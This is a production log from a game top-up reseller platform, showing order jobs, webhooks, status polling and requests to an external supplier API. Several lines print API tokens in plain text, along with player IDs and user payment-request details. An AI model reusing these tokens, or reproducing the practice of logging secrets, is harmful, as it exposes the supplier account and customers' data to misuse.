[2026-03-24 20:28:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"user_id":1056,"notification_type":"order_approved","reference_id":179329} 
[2026-03-24 20:28:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"user_id":1056,"notification_type":"order_approved","reference_id":179330} 
[2026-03-24 20:28:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:28:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:28:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"processed":2,"errors":0} 
[2026-03-24 20:28:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"processed":2,"errors":0} 
[2026-03-24 20:28:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208} 
[2026-03-24 20:28:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 20:28:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 20:28:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Nyf-1774373213","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:28:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-Nyf-1774373213","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:28:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:28:06] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":179328} 
[2026-03-24 20:28:06] production.INFO: Order updated successfully. Order ID: 179328, Status: completed  
[2026-03-24 20:28:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Nyf-1774373213","status":"completed","codes_count":0} 
[2026-03-24 20:28:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-T02k-1774373254","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:28:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-T02k-1774373254","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:28:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:28:06] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":179331} 
[2026-03-24 20:28:06] production.INFO: Order updated successfully. Order ID: 179331, Status: completed  
[2026-03-24 20:28:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-T02k-1774373254","status":"completed","codes_count":0} 
[2026-03-24 20:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 20:28:26] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:28:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1540  
[2026-03-24 20:28:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1600  
[2026-03-24 20:28:46] production.INFO: Constructing job for order: 179333  
[2026-03-24 20:28:48] production.INFO: Handling job for order: 179333  
[2026-03-24 20:28:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:28:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:28:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/530/params?qty=1&uuid=56f13bda-1469-423e-9f1a-9d0c1d69ac40&Player_ID=51538623332  
[2026-03-24 20:28:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/530/params?qty=1&uuid=56f13bda-1469-423e-9f1a-9d0c1d69ac40&Player_ID=51538623332","has_body":false} 
[2026-03-24 20:28:49] production.INFO: Operation sent successfully {"operation_id":164211,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8HK-1774373328","amount":3.0449999999999999289457264239899814128875732421875,"status":"processing","product":"Upgradable Firearm Materials Pack","game":"Pubg Store","notes":[],"created_at":"2026-03-24 20:28:49"}},"processed_data":{"order_number":"ORD-8HK-1774373328","amount":3.0449999999999999289457264239899814128875732421875,"status":"processing","product":"Upgradable Firearm Materials Pack","game":"Pubg Store"}} 
[2026-03-24 20:29:16] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"request_approved","reference_id":18701} 
[2026-03-24 20:29:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 20:29:40] production.INFO: SendAcceptReject: Notification queued {"user_id":212,"notification_type":"request_approved","reference_id":18702} 
[2026-03-24 20:29:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 20:30:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04"} 
[2026-03-24 20:30:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","total_operations":3,"sites_count":1} 
[2026-03-24 20:30:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-yYayI8Ak-1774372877","ORD-eh5bzhia-1774373261","ORD-8HK-1774373328"]} 
[2026-03-24 20:30:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:30:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8HK-1774373328","operation_id":164211} 
[2026-03-24 20:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:30:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 20:30:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:30:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":1} 
[2026-03-24 20:30:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":1} 
[2026-03-24 20:30:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":148,"notification_type":"order_approved","reference_id":179332} 
[2026-03-24 20:30:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:30:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:30:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":1,"errors":0} 
[2026-03-24 20:30:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":1,"errors":0} 
[2026-03-24 20:30:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YsDPifZ27ooa4FYE2SRuVz9cirWmWzrV","execution_time":"2026-03-24 20:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:30:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:30:06] production.INFO: async() رجع: true  
[2026-03-24 20:30:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:30:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:30:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:30:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 148  
[2026-03-24 20:30:33] production.INFO: Constructing job for order: 179334  
[2026-03-24 20:30:35] production.INFO: Handling job for order: 179334  
[2026-03-24 20:30:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:30:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:30:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=8a60a45e-68bd-40d8-9c1b-723c4163f2da&Player_ID=46656114  
[2026-03-24 20:30:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=8a60a45e-68bd-40d8-9c1b-723c4163f2da&Player_ID=46656114","has_body":false} 
[2026-03-24 20:30:36] production.INFO: Operation sent successfully {"operation_id":164212,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1vI2sS-1774373436","amount":3.441299999999999581490328637300990521907806396484375,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 20:30:36"}},"processed_data":{"order_number":"ORD-1vI2sS-1774373436","amount":3.441299999999999581490328637300990521907806396484375,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 20:31:07] production.INFO: Constructing job for order: 179335  
[2026-03-24 20:31:09] production.INFO: Handling job for order: 179335  
[2026-03-24 20:31:09] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:31:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:31:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/733/params?qty=44500&uuid=dc65bb21-8a28-49de-9d2e-5d01c66cc408&Player_ID=6522152  
[2026-03-24 20:31:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/733/params?qty=44500&uuid=dc65bb21-8a28-49de-9d2e-5d01c66cc408&Player_ID=6522152","has_body":false} 
[2026-03-24 20:31:10] production.INFO: Operation sent successfully {"operation_id":164213,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Cx8j-1774373470","amount":1.920424199999999803623040861566551029682159423828125,"status":"processing","product":"Dana Amount","game":"DanaChat","notes":[],"created_at":"2026-03-24 20:31:10"}},"processed_data":{"order_number":"ORD-Cx8j-1774373470","amount":1.920424199999999803623040861566551029682159423828125,"status":"processing","product":"Dana Amount","game":"DanaChat"}} 
[2026-03-24 20:31:29] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"500.0","mainamount":"500","operation_number":"158699895","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpp0v9epdb6unl9qIlqIO"}},"user_id":1724} 
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:31:31] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:31:31] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18703,"user_id":1724,"amount":500.0,"admins_notified":7} 
[2026-03-24 20:32:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04"} 
[2026-03-24 20:32:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","total_operations":4,"sites_count":1} 
[2026-03-24 20:32:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-yYayI8Ak-1774372877","ORD-8HK-1774373328","ORD-1vI2sS-1774373436","ORD-Cx8j-1774373470"]} 
[2026-03-24 20:32:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:32:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 20:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1vI2sS-1774373436","operation_id":164212} 
[2026-03-24 20:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8HK-1774373328","operation_id":164211} 
[2026-03-24 20:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Cx8j-1774373470","operation_id":164213} 
[2026-03-24 20:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:32:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 20:32:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":0,"errors":0} 
[2026-03-24 20:32:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"vvpClraY430TYJwnafUK4LMox29bOtsU","execution_time":"2026-03-24 20:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:32:06] production.INFO: Constructing job for order: 179336  
[2026-03-24 20:32:07] production.INFO: Handling job for order: 179336  
[2026-03-24 20:32:07] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:32:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:32:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=ea912689-6bdb-454d-aaa9-909b0813db1a&Player_ID=0984661084  
[2026-03-24 20:32:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=ea912689-6bdb-454d-aaa9-909b0813db1a&Player_ID=0984661084","has_body":false} 
[2026-03-24 20:32:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1vI2sS-1774373436","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:32:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-1vI2sS-1774373436","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:32:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:32:08] production.INFO: SendAcceptReject: Notification queued {"user_id":212,"notification_type":"order_approved","reference_id":179334} 
[2026-03-24 20:32:08] production.INFO: Order updated successfully. Order ID: 179334, Status: completed  
[2026-03-24 20:32:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1vI2sS-1774373436","status":"completed","codes_count":0} 
[2026-03-24 20:32:08] production.INFO: Operation sent successfully {"operation_id":164214,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CuahV8fu-1774373528","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:32:08"}},"processed_data":{"order_number":"ORD-CuahV8fu-1774373528","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:32:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 212  
[2026-03-24 20:32:10] production.INFO: Constructing job for order: 179337  
[2026-03-24 20:32:11] production.INFO: Handling job for order: 179337  
[2026-03-24 20:32:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:32:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:32:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=18cea8e5-bc60-4b64-b18d-99beff125464&Player_ID=51538623332  
[2026-03-24 20:32:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=18cea8e5-bc60-4b64-b18d-99beff125464&Player_ID=51538623332","has_body":false} 
[2026-03-24 20:32:12] production.INFO: Operation sent successfully {"operation_id":164215,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VlGf-1774373532","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:32:12"}},"processed_data":{"order_number":"ORD-VlGf-1774373532","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:32:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VlGf-1774373532","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:32:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-VlGf-1774373532","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:32:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:32:26] production.INFO: SendAcceptReject: Notification queued {"user_id":1552,"notification_type":"order_approved","reference_id":179337} 
[2026-03-24 20:32:26] production.INFO: Order updated successfully. Order ID: 179337, Status: completed  
[2026-03-24 20:32:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VlGf-1774373532","status":"completed","codes_count":0} 
[2026-03-24 20:32:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1552  
[2026-03-24 20:32:36] production.INFO: Constructing job for order: 179338  
[2026-03-24 20:32:39] production.INFO: Handling job for order: 179338  
[2026-03-24 20:32:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:32:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:32:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=fbbaf135-6be2-4341-8b38-856b0c4c3077&Player_ID=50827676  
[2026-03-24 20:32:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=fbbaf135-6be2-4341-8b38-856b0c4c3077&Player_ID=50827676","has_body":false} 
[2026-03-24 20:32:40] production.INFO: Operation sent successfully {"operation_id":164216,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-l6pk-1774373559","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 20:32:40"}},"processed_data":{"order_number":"ORD-l6pk-1774373559","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 20:34:01] production.INFO: Constructing job for order: 179339  
[2026-03-24 20:34:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04"} 
[2026-03-24 20:34:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","total_operations":5,"sites_count":2} 
[2026-03-24 20:34:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-yYayI8Ak-1774372877","ORD-8HK-1774373328","ORD-Cx8j-1774373470","ORD-l6pk-1774373559"]} 
[2026-03-24 20:34:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:34:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 20:34:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8HK-1774373328","operation_id":164211} 
[2026-03-24 20:34:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Cx8j-1774373470","operation_id":164213} 
[2026-03-24 20:34:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":2,"skipped":2,"updates_prepared":2} 
[2026-03-24 20:34:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"pmhiIP4yWgm3HCpQw5b7DRUbcKbyYgzz","execution_time":"2026-03-24 20:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_items":2,"chunks":1,"chunk_size":10} 
